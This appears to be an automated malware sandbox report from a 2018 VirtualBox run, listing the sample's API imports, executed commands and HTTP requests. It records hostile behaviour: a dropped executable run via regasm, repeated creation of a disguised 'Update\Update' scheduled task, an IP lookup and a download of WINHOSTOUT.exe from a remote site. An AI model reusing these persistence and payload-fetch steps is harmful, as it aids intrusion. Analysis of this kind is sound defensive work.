kernel32.dll.CreateIoCompletionPort kernel32.dll.PostQueuedCompletionStatus ntdll.dll.NtQueryInformationThread ntdll.dll.NtGetCurrentProcessorNumber kernel32.dll.RtlMoveMemory shell32.dll.ShellExecuteEx shell32.dll.ShellExecuteExW kernel32.dll.FindFirstFileW kernel32.dll.FindClose kernel32.dll.GetExitCodeProcess user32.dll.SetClipboardViewer kernel32.dll.GetSystemTimeAsFileTime user32.dll.GetLastInputInfo mlang.dll.#112 wininet.dll.FindFirstUrlCacheEntryA ole32.dll.OleInitialize ole32.dll.OleGetClipboard kernel32.dll.SetFileInformationByHandle urlmon.dll.CreateUri kernel32.dll.InitializeSRWLock kernel32.dll.AcquireSRWLockExclusive kernel32.dll.AcquireSRWLockShared kernel32.dll.ReleaseSRWLockExclusive kernel32.dll.ReleaseSRWLockShared kernel32.dll.GlobalLock kernel32.dll.GlobalUnlock kernel32.dll.GlobalFree user32.dll.SendMessageW wininet.dll.FindNextUrlCacheEntryA user32.dll.SetWindowsHookExW user32.dll.GetSystemMetrics advapi32.dll.AddMandatoryAce user32.dll.GetClientRect ntmarta.dll.GetMartaExtensionInterface user32.dll.GetWindowRect user32.dll.GetParent ole32.dll.CoRegisterMessageFilter user32.dll.PeekMessageW user32.dll.IsWindowUnicode user32.dll.GetMessageW user32.dll.TranslateMessage user32.dll.DispatchMessageW user32.dll.WaitMessage setupapi.dll.CM_Get_Device_Interface_List_Size_ExW setupapi.dll.CM_Get_Device_Interface_List_ExW comctl32.dll.#332 comctl32.dll.#386 urlmon.dll.CreateIUriBuilder urlmon.dll.IntlPercentEncodeNormalize wininet.dll.FindCloseUrlCache ole32.dll.CLSIDFromProgIDEx kernel32.dll.GetVolumeInformationA advapi32.dll.CryptAcquireContextW advapi32.dll.RegCreateKeyExW shlwapi.dll.PathIsDirectoryW ole32.dll.CLSIDFromOle1Class clbcatq.dll.GetCatalogObject clbcatq.dll.GetCatalogObject2 advapi32.dll.RegSetValueExW shlwapi.dll.PathIsPrefixW xmllite.dll.CreateXmlReader advapi32.dll.LookupAccountNameW samcli.dll.NetLocalGroupGetMembers samlib.dll.SamConnect rpcrt4.dll.RpcStringBindingComposeW rpcrt4.dll.RpcBindingFromStringBindingW rpcrt4.dll.RpcStringFreeW samlib.dll.SamOpenDomain samlib.dll.SamLookupNamesInDomain samlib.dll.SamOpenAlias samlib.dll.SamFreeMemory samlib.dll.SamCloseHandle samlib.dll.SamGetMembersInAlias netutils.dll.NetApiBufferFree ole32.dll.CoCreateGuid ole32.dll.StringFromCLSID wbemcore.dll.Reinitialize wbemsvc.dll.DllGetClassObject wbemsvc.dll.DllCanUnloadNow authz.dll.AuthzInitializeContextFromToken authz.dll.AuthzInitializeObjectAccessAuditEvent2 authz.dll.AuthzAccessCheck authz.dll.AuthzFreeAuditEvent authz.dll.AuthzFreeContext authz.dll.AuthzInitializeResourceManager authz.dll.AuthzFreeResourceManager rpcrt4.dll.RpcBindingCreateW rpcrt4.dll.RpcBindingBind rpcrt4.dll.I_RpcMapWin32Status advapi32.dll.EventWrite kernel32.dll.RegCloseKey kernel32.dll.RegSetValueExW kernel32.dll.RegQueryValueExW wmisvc.dll.IsImproperShutdownDetected wevtapi.dll.EvtRender wevtapi.dll.EvtNext wevtapi.dll.EvtClose wevtapi.dll.EvtQuery wevtapi.dll.EvtCreateRenderContext rpcrt4.dll.RpcBindingSetAuthInfoExW rpcrt4.dll.RpcBindingSetOption ole32.dll.CoCreateFreeThreadedMarshaler ole32.dll.CreateStreamOnHGlobal kernelbase.dll.InitializeAcl kernelbase.dll.AddAce sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW kernel32.dll.IsThreadAFiber kernel32.dll.OpenProcessToken kernelbase.dll.GetTokenInformation kernelbase.dll.DuplicateTokenEx kernelbase.dll.AdjustTokenPrivileges kernelbase.dll.AllocateAndInitializeSid kernelbase.dll.CheckTokenMembership kernel32.dll.SetThreadToken ole32.dll.CLSIDFromString oleaut32.dll.#285 oleaut32.dll.#12 oleaut32.dll.#286 oleaut32.dll.#17 oleaut32.dll.#20 oleaut32.dll.#19 oleaut32.dll.#25 ole32.dll.CoRevertToSelf advapi32.dll.LogonUserExExW authz.dll.AuthzInitializeContextFromSid ole32.dll.CoGetCallContext ole32.dll.CoImpersonateClient advapi32.dll.OpenThreadToken oleaut32.dll.#8 ole32.dll.CoSwitchCallContext oleaut32.dll.#287 oleaut32.dll.#288 oleaut32.dll.#289 ws2_32.dll.GetAddrInfoW ws2_32.dll.#2 ws2_32.dll.#21 ws2_32.dll.#9 ws2_32.dll.FreeAddrInfoW ws2_32.dll.#6 ws2_32.dll.#5 schannel.dll.SpUserModeInitialize ws2_32.dll.WSASend ws2_32.dll.WSARecv secur32.dll.FreeContextBuffer ncrypt.dll.SslOpenProvider ncrypt.dll.GetSChannelInterface bcryptprimitives.dll.GetHashInterface ncrypt.dll.SslIncrementProviderReferenceCount ncrypt.dll.SslImportKey bcryptprimitives.dll.GetCipherInterface ncrypt.dll.SslLookupCipherSuiteInfo user32.dll.LoadStringW ncrypt.dll.BCryptOpenAlgorithmProvider ncrypt.dll.BCryptGetProperty ncrypt.dll.BCryptCreateHash ncrypt.dll.BCryptHashData ncrypt.dll.BCryptFinishHash ncrypt.dll.BCryptDestroyHash crypt32.dll.CertGetCertificateChain userenv.dll.GetUserProfileDirectoryW sechost.dll.ConvertSidToStringSidW sechost.dll.ConvertStringSidToSidW userenv.dll.RegisterGPNotification gpapi.dll.RegisterGPNotificationInternal sechost.dll.QueryServiceConfigW cryptnet.dll.CryptRetrieveObjectByUrlW cryptnet.dll.I_CryptNetGetConnectivity sensapi.dll.IsNetworkAlive rpcrt4.dll.NdrClientCall2 winhttp.dll.WinHttpOpen winhttp.dll.WinHttpSetTimeouts winhttp.dll.WinHttpSetOption winhttp.dll.WinHttpCrackUrl winhttp.dll.WinHttpConnect winhttp.dll.WinHttpOpenRequest winhttp.dll.WinHttpGetDefaultProxyConfiguration advapi32.dll.RegDeleteTreeA advapi32.dll.RegDeleteTreeW nsi.dll.NsiAllocateAndGetTable cfgmgr32.dll.CM_Open_Class_Key_ExW iphlpapi.dll.ConvertInterfaceGuidToLuid iphlpapi.dll.GetIfEntry2 iphlpapi.dll.GetIpForwardTable2 iphlpapi.dll.GetIpNetEntry2 nsi.dll.NsiFreeTable winhttp.dll.WinHttpGetProxyForUrl winhttp.dll.WinHttpSendRequest winhttp.dll.WinHttpReceiveResponse winhttp.dll.WinHttpQueryHeaders winhttp.dll.WinHttpQueryDataAvailable ws2_32.dll.#22 winhttp.dll.WinHttpReadData ws2_32.dll.#3 winhttp.dll.WinHttpCloseHandle cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo setupapi.dll.SetupIterateCabinetW cabinet.dll.#20 cabinet.dll.#22 cabinet.dll.#23 sechost.dll.QueryServiceConfigA rpcrt4.dll.RpcEpResolveBinding crypt32.dll.CertVerifyCertificateChainPolicy crypt32.dll.CertFreeCertificateChain crypt32.dll.CertDuplicateCertificateContext crypt32.dll.CertFreeCertificateContext fastprox.dll.DllGetClassObject fastprox.dll.DllCanUnloadNow oleaut32.dll.#290 wmi.dll.WmiQueryAllDataW wmi.dll.WmiQuerySingleInstanceW wmi.dll.WmiSetSingleItemW wmi.dll.WmiSetSingleInstanceW wmi.dll.WmiExecuteMethodW wmi.dll.WmiNotificationRegistrationW wmi.dll.WmiMofEnumerateResourcesW wmi.dll.WmiFileHandleToInstanceNameW wmi.dll.WmiDevInstToInstanceNameW wmi.dll.WmiQueryGuidInformation wmi.dll.WmiOpenBlock wmi.dll.WmiCloseBlock wmi.dll.WmiFreeBuffer wmi.dll.WmiEnumerateGuids rpcrt4.dll.UuidFromStringW radarrs.dll.WdiDiagnosticModuleMain radarrs.dll.WdiHandleInstance radarrs.dll.WdiGetDiagnosticModuleInterfaceVersion gdi32.dll.GetLayout gdi32.dll.GdiRealizationInfo gdi32.dll.FontIsLinked gdi32.dll.GetTextFaceAliasW gdi32.dll.GetFontAssocStatus advapi32.dll.RegQueryValueExA gdi32.dll.GdiIsMetaPrintDC ole32.dll.CoRegisterInitializeSpy ole32.dll.CoRevokeInitializeSpy oleaut32.dll.SysAllocString oleaut32.dll.SysFreeString mscorsvc.dll.CorGetSvc advapi32.dll.StartServiceCtrlDispatcherW kernel32.dll.VerSetConditionMask kernel32.dll.VerifyVersionInfoW advapi32.dll.RegisterServiceCtrlHandlerExW advapi32.dll.SetServiceStatus advapi32.dll.OpenSCManagerW mscoree.dll.CorIsLatestSvc mscoreei.dll.CorIsLatestSvc msidle.dll.#8 wtsapi32.dll.WTSQuerySessionInformationW winsta.dll.WinStationEnumerateW winsta.dll.WinStationFreeMemory powrprof.dll.CallNtPowerInformation mscoree.dll.GetCORRootDirectory mscoreei.dll.GetCORRootDirectory
Execute Commands
"cmd" "C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe" C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe "C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe" schtasks.exe /Delete /TN "Update\Update" /F taskeng.exe {513494DA-44B6-4567-B247-8E8A881C4619} S-1-5-18:NT AUTHORITY\System:Service: schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\840493973.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1650946654.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\201350900.xml" C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1168644672.xml" C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1784734666.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\372828621.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1452519068.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\214493901.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1586929957.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\1325069775.xml" schtasks.exe /Create /TN "Update\Update" /XML "C:\Users\Seven01\AppData\Local\Temp\257899452.xml"
Started Services
SSDPSRV AdobeFlashPlayerUpdateSvc
Created Services
Nothing to display
Behavior analysis details | |||||
---|---|---|---|---|---|
Machine name | Machine label | Machine manager | Started | Ended | Duration |
Seven04b_64 | Seven04b_64 | VirtualBox | 2018-06-30 20:10:31 | 2018-06-30 20:14:42 | 251 |
3 HTTP Request(s) detected
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
- Hostname: www.download.windowsupdate.com
- IP Address: 5.178.42.136
- Port: 80
- Count: 1
GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1 Cache-Control: max-age = 86402 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: www.download.windowsupdate.com
http://checkip.dyndns.org/
- Hostname: checkip.dyndns.org
- IP Address: 162.88.100.200
- Port: 80
- Count: 1
GET / HTTP/1.1 Host: checkip.dyndns.org Connection: Keep-Alive
http://www.paulocamarao.com/wp-log/WINHOSTOUT.exe
- Hostname: www.paulocamarao.com
- IP Address: 10.1.26.180
- Port: 80
- Count: 1
GET /wp-log/WINHOSTOUT.exe HTTP/1.1 Host: www.paulocamarao.com Connection: Keep-Alive